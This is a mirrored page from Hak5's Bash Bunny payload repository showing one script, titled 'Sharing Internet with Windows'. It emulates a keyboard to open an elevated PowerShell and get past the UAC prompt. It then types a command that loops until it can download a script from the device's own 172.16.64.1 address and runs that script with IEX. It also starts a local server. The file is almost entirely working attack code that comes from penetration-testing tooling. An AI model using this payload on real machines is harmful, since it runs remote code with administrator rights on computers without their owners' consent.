mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
5a77792c1d
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
83 lines
2.0 KiB
Bash
83 lines
2.0 KiB
Bash
#!/bin/bash
|
|
##############################################
|
|
# Sharing Internet with Windows
|
|
#
|
|
# Auto-config sharing with Windows 10.
|
|
##############################################
|
|
|
|
# Other things to do once you have booted the
|
|
# bash bunny as an ethernet enabled box
|
|
#
|
|
# Windows
|
|
# Start > Run > "ncpa.cpl" Enter
|
|
# (Open Network Connections)
|
|
#Q DELAY 100
|
|
#RUN WIN ncpa.cpl
|
|
#Q DELAY 1000
|
|
#Q ENTER
|
|
|
|
# Identify Bash Bunny interface
|
|
# Should be named:
|
|
# "USB Ethernet/RNDIS Gadget"
|
|
|
|
# Sharing is caring
|
|
# Right-Click Ineternet interface click on
|
|
# "Properties" and select "Sharing" tab
|
|
#
|
|
# From "Sharing" tab check
|
|
# "Allow other netwrk usrs 2 connect... thru dis connection"
|
|
# Select the Bash Bunny Gadget and hit "OK"
|
|
# Right-click on Gadget and select "Properties"
|
|
#
|
|
# Generously gift an IP
|
|
# Select TCP/IPv4 and click "Properties"
|
|
# Set the IPv4=172.16.64.64 and Subnet=24-bit
|
|
# Hit all the OKs
|
|
|
|
GET SWITCH_POSITION
|
|
|
|
# Or we could just have the Bash Bunny do all the work...
|
|
LED SETUP
|
|
SWITCHDIR=/root/udisk/payloads/$(SWITCH_POSITION)
|
|
|
|
# HID Attack Starts
|
|
ATTACKMODE HID
|
|
|
|
# UAC Bypass
|
|
LED STAGE2
|
|
DELAY 500
|
|
Q GUI r
|
|
Q DELAY 1000
|
|
Q STRING powershell Start-Process powershell -Verb runAs
|
|
Q DELAY 1000
|
|
Q ENTER
|
|
Q DELAY 1000
|
|
Q ALT y
|
|
Q DELAY 500
|
|
Q ALT o
|
|
Q DELAY 500
|
|
Q LEFTARROW
|
|
Q DELAY 100
|
|
Q ENTER
|
|
Q DELAY 1200
|
|
Q ENTER
|
|
Q DELAY 800
|
|
|
|
LED SPECIAL2
|
|
#Powershell Payload: first wait for connection to bunny webserver, then run network config
|
|
#Q STRING "powershell -W Hidden \"while (\$true) {If (Test-Connection 172.16.64.1 -count 1) {IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1/p.ps1');exit}}\""
|
|
Q STRING "Start-Sleep -Seconds 15 ; while (\$true) {If (Test-Connection 172.16.64.1 -count 1) {IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1/p.ps1')}}"
|
|
Q DELAY 300
|
|
Q ENTER
|
|
|
|
LED W
|
|
# Ethernet Attack Starts
|
|
ATTACKMODE RNDIS_ETHERNET
|
|
LED CLEANUP
|
|
Q DELAY 200
|
|
LED B
|
|
python $SWITCHDIR/server.py
|
|
|
|
Q DELAY 5000
|
|
LED FINISH
|